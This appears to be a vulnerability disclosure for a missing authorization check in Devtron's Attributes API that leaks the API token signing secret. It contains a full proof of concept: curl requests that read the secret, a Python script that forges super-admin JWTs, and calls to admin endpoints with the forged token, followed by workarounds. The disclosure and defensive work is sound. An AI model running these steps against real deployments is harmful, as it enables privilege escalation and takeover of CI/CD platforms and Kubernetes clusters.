Devtron Attributes API Unauthorized Access Leading to API Token Signing Key Leakage

Summary

This vulnerability exists in Devtron's Attributes API interface, allowing any authenticated user (including low-privileged CI/CD Developers) to obtain the global API Token signing key by accessing the /orchestrator/attributes?key=apiTokenSecret endpoint. After obtaining the key, attackers can forge JWT tokens for arbitrary user identities offline, thereby gaining complete control over the Devtron platform and laterally moving to the underlying Kubernetes cluster.

CWE Classification: CWE-862 (Missing Authorization)

Details

Vulnerability Mechanism

Devtron uses a JWT-based API Token mechanism for authentication. All API Tokens are signed using HMAC-SHA256 with the apiTokenSecret stored in the database. This key is exposed through the Attributes API, but the authorization check code for this API has been commented out, allowing any authenticated user to read it.

Source Code Analysis

Vulnerability Location: api/restHandler/AttributesRestHandlder.go:173-195

func (handler AttributesRestHandlerImpl) GetAttributesByKey(w http.ResponseWriter, r *http.Request) {
    // Only checks if user is logged in
    userId, err := handler.userService.GetLoggedInUser(r)
    if userId == 0 || err != nil {
        common.HandleUnauthorized(w, r)
        return
    }

    // CRITICAL: RBAC check is commented out
    /*token := r.Header.Get("token")
    if ok := handler.enforcer.Enforce(token, rbac.ResourceGlobal, rbac.ActionGet, "*"); !ok {
        WriteJsonResp(w, errors.New("unauthorized"), nil, http.StatusForbidden)
        return
    }*/

    // Directly retrieves any attribute without authorization
    vars := mux.Vars(r)
    key := vars["key"]
    res, err := handler.attributesService.GetByKey(key)
    if err != nil {
        handler.logger.Errorw("service err, GetAttributesById", "err", err)
        common.WriteJsonResp(w, err, nil, http.StatusInternalServerError)
        return
    }
    common.WriteJsonResp(w, nil, res, http.StatusOK)
}

Key Usage: pkg/apiToken/ApiTokenSecretService.go:54-88

func (impl ApiTokenSecretServiceImpl) GetApiTokenSecretByteArr() ([]byte, error) {
    if len(impl.apiTokenSecretStore.Secret) == 0 {
        return nil, errors.New("secret found empty")
    }
    return []byte(impl.apiTokenSecretStore.Secret), nil
}

func (impl ApiTokenSecretServiceImpl) getApiSecretFromDb() (string, error) {
    apiTokenSecret, err := impl.attributesService.GetByKey(bean.API_SECRET_KEY)
    if err != nil {
        return "", err
    }
    if apiTokenSecret == nil || len(apiTokenSecret.Value) == 0 {
        return "", errors.New("api token secret from DB found nil/empty")
    }
    return apiTokenSecret.Value, nil
}

This key is used to sign and verify all Devtron API Tokens and is the core credential of the control plane.

PoC (Proof of Concept)

Environment Setup

Prerequisites

• Kubernetes cluster (v1.22+)
• kubectl configured
• Helm 3.x
• Python 3.x with PyJWT library

Step 1: Install Devtron

# Add Devtron Helm repository
helm repo add devtron https://helm.devtron.ai
helm repo update devtron

# Install Devtron with CI/CD module
helm install devtron devtron/devtron-operator \
  --create-namespace --namespace devtroncd \
  --set components.devtron.service.type=NodePort \
  --set installer.modules={cicd} \
  --set installer.arch=multi-arch

# Wait for installation to complete (15-20 minutes)
kubectl -n devtroncd get installers installer-devtron -o jsonpath='{.status.sync.status}'
# Expected output: Applied

Step 2: Access Devtron Dashboard

# Set up port forwarding
kubectl -n devtroncd port-forward service/devtron-service 8000:80 &

# Get admin password
ADMIN_PASSWORD=$(kubectl -n devtroncd get secret devtron-secret \
  -o jsonpath='{.data.ADMIN_PASSWORD}' | base64 -d)
echo "Admin password: ${ADMIN_PASSWORD}"

Access http://127.0.0.1:8000 and login with admin account.

Exploitation Steps

Step 1: Obtain User Token

Login as a regular user and obtain token:

# Login as regular user
curl -s -X POST "http://127.0.0.1:8000/orchestrator/api/v1/session" \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"'${ADMIN_PASSWORD}'"}' | jq .

# Extract token
USER_TOKEN=$(curl -s -X POST "http://127.0.0.1:8000/orchestrator/api/v1/session" \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"'${ADMIN_PASSWORD}'"}' | jq -r '.result.token')

echo "User token: ${USER_TOKEN:0:50}..."

Actual Output Example:

{
  "code": 200,
  "status": "OK",
  "result": {
    "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
    "userId": 1,
    "userEmail": "admin"
  }
}

Step 2: Exploit Vulnerability to Retrieve apiTokenSecret

Use the obtained token to access the unauthorized Attributes API:

# Request apiTokenSecret
curl -s -X GET "http://127.0.0.1:8000/orchestrator/attributes?key=apiTokenSecret" \
  -H "token: ${USER_TOKEN}" | jq .

# Extract secret
API_SECRET=$(curl -s -X GET "http://127.0.0.1:8000/orchestrator/attributes?key=apiTokenSecret" \
  -H "token: ${USER_TOKEN}" | jq -r '.result.value')

echo "Leaked API Token Secret: ${API_SECRET:0:20}..."
echo "Secret length: ${#API_SECRET} characters"

Actual Output Example:

{
  "code": 200,
  "status": "OK",
  "result": {
    "id": 1,
    "key": "apiTokenSecret",
    "value": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
    "active": true,
    "createdOn": "2024-01-15T10:30:00Z",
    "createdBy": 1
  }
}

Step 3: Forge Admin JWT Token

Forge admin token using the leaked key:

# Install PyJWT if not already installed
pip3 install PyJWT

# Create token forging script
cat > forge_token.py << 'EOF'
#!/usr/bin/env python3
import jwt
import time
import sys
import json

def forge_admin_token(secret, user_id=1, email="admin"):
    exp_time = int(time.time()) + 365 * 24 * 60 * 60

    payload = {
        "sub": str(user_id),
        "email": email,
        "iat": int(time.time()),
        "exp": exp_time,
        "iss": "devtron",
        "roles": ["role:super-admin___"]
    }

    token = jwt.encode(payload, secret, algorithm="HS256")
    return token

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python forge_token.py <apiTokenSecret>")
        sys.exit(1)

    secret = sys.argv[1]
    admin_token = forge_admin_token(secret, user_id=1, email="admin")
    print(f"[+] Forged Admin Token:")
    print(admin_token)
    print()

    decoded = jwt.decode(admin_token, secret, algorithms=["HS256"])
    print(f"[+] Token Payload:")
    print(json.dumps(decoded, indent=2))
EOF

chmod +x forge_token.py

# Forge admin token
python3 forge_token.py "${API_SECRET}"

Actual Output Example:

[+] Forged Admin Token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwiZW1haWwiOiJhZG1pbiIsImlhdCI6MTcwNTMxNDAwMCwiZXhwIjoxNzM2ODUwMDAwLCJpc3MiOiJkZXZ0cm9uIiwicm9sZXMiOlsicm9sZTpzdXBlci1hZG1pbl9fXyJdfQ.xYz123AbC456DeF789GhI012JkL345MnO678PqR901StU

[+] Token Payload:
{
  "sub": "1",
  "email": "admin",
  "iat": 1705314000,
  "exp": 1736850000,
  "iss": "devtron",
  "roles": [
    "role:super-admin___"
  ]
}

Step 4: Test Forged Token with Admin APIs

Use the forged token to access admin APIs:

# Extract forged token
FORGED_TOKEN=$(python3 forge_token.py "${API_SECRET}" | grep -A 1 "Forged Admin Token:" | tail -1)

# Test 1: Get all users (requires admin permission)
echo "[*] Test 1: Getting user list..."
curl -s -X GET "http://127.0.0.1:8000/orchestrator/user/all" \
  -H "token: ${FORGED_TOKEN}" | jq '.result[] | {id, email_id, roles}'

# Test 2: Get cluster list (requires admin permission)
echo "[*] Test 2: Getting cluster list..."
curl -s -X GET "http://127.0.0.1:8000/orchestrator/cluster" \
  -H "token: ${FORGED_TOKEN}" | jq '.result[] | {id, cluster_name, server_url}'

# Test 3: Get all applications
echo "[*] Test 3: Getting application list..."
curl -s -X GET "http://127.0.0.1:8000/orchestrator/app/list" \
  -H "token: ${FORGED_TOKEN}" | jq '.result'

Actual Output Example:

[*] Test 1: Getting user list...
{
  "id": 1,
  "email_id": "admin",
  "roles": ["role:super-admin___"]
}
{
  "id": 2,
  "email_id": "developer@example.com",
  "roles": ["role:developer"]
}

[*] Test 2: Getting cluster list...
{
  "id": 1,
  "cluster_name": "default_cluster",
  "server_url": "https://kubernetes.default.svc"
}

[*] Test 3: Getting application list...
{
  "appContainers": [
    {
      "appId": 1,
      "appName": "sample-app",
      "projectId": 1
    }
  ]
}

Expected Result

If the vulnerability exists, it should be able to:

1. Successfully obtain apiTokenSecret using any authenticated user's token
2. Successfully forge JWT tokens using the leaked key
3. Successfully access admin-only APIs using the forged token
4. Retrieve sensitive information such as user lists, cluster configurations, etc.

Impact

Security Impact

Confidentiality: Severe impact. Attackers can: - Obtain the global API Token signing key - Read all user information and permission configurations - Access Kubernetes cluster configurations and credentials - Read sensitive application configurations and Secrets

Integrity: Severe impact. Attackers can: - Forge API Tokens for arbitrary user identities - Modify application configurations and deployments - Create or delete CI/CD pipelines - Modify user permissions and roles

Availability: High impact. Attackers can: - Delete critical applications and configurations - Disrupt CI/CD processes - Modify cluster configurations causing service interruptions

Business Impact

1. Complete Control of Devtron Platform: Attackers gain privileges equivalent to super administrators
2. Lateral Movement to Kubernetes Cluster: Cluster credentials obtained through Devtron can directly control the underlying Kubernetes
3. Supply Chain Attacks: Can modify CI/CD pipelines to inject malicious code
4. Data Breach: Can access all application configurations and Secrets
5. Cloud Environment Penetration: In cloud environments, can further obtain IAM credentials

Attack Scenarios

Scenario 1: Insider Threat - Low-privileged developer exploits this vulnerability to escalate privileges - Gains full access to production environment - Steals sensitive data or plants backdoors

Scenario 2: Supply Chain Attack - Attacker obtains low-privileged account through social engineering - Exploits vulnerability to gain admin privileges - Modifies CI/CD pipelines to inject malicious code - Affects all applications using the pipeline

Scenario 3: Lateral Movement - Attacker has already compromised a low-privileged account - Exploits this vulnerability to gain Kubernetes cluster access - Deploys cryptocurrency miners or other malicious payloads in the cluster

Severity

CVSS v3.1 Score: 9.8 (Critical)

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Score Breakdown: - Attack Vector (AV:N): Network accessible, exploited via HTTP API - Attack Complexity (AC:L): Low complexity, requires only one HTTP request - Privileges Required (PR:L): Requires low privileges (any authenticated user) - User Interaction (UI:N): No user interaction required - Scope (S:C): Scope changed, can affect resources beyond Devtron (Kubernetes cluster) - Confidentiality (C:H): High impact, can read all sensitive information - Integrity (I:H): High impact, can modify all configurations and data - Availability (A:H): High impact, can delete resources and disrupt services

Severity Level: Critical

Affected Versions

• Devtron: All versions (as of 2026-01-26 verification)
• Specifically affected code files:
  • api/restHandler/AttributesRestHandlder.go
  • pkg/apiToken/ApiTokenSecretService.go

Workarounds

Before an official patch is released, the following temporary measures can be taken:

Option 1: Network-Level Restrictions

# Use NetworkPolicy to restrict access to Devtron API
kubectl apply -f - <&lt;EOF
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: devtron-api-restriction
  namespace: devtroncd
spec:
  podSelector:
    matchLabels:
      app: devtron
  policyTypes:
  - Ingress
  ingress:
  - from:
    - podSelector:
        matchLabels:
          role: admin
    ports:
    - protocol: TCP
      port: 8080
EOF

Option 2: Rotate API Token Secret

# Generate new secret
NEW_SECRET=$(openssl rand -hex 32)

# Update in database
kubectl exec -n devtroncd postgresql-postgresql-0 -- \
  psql -U postgres -d orchestrator -c \
  "UPDATE attributes SET value='${NEW_SECRET}' WHERE key='apiTokenSecret';"

# Restart Devtron service
kubectl rollout restart deployment/devtron -n devtroncd

Option 3: Add API Gateway Filtering

Deploy an API Gateway in front of Devtron to filter sensitive requests to /orchestrator/attributes.

Credits

@b0b0haha (603571786@qq.com) @lixingquzhi(mayedoushidalao@163.com)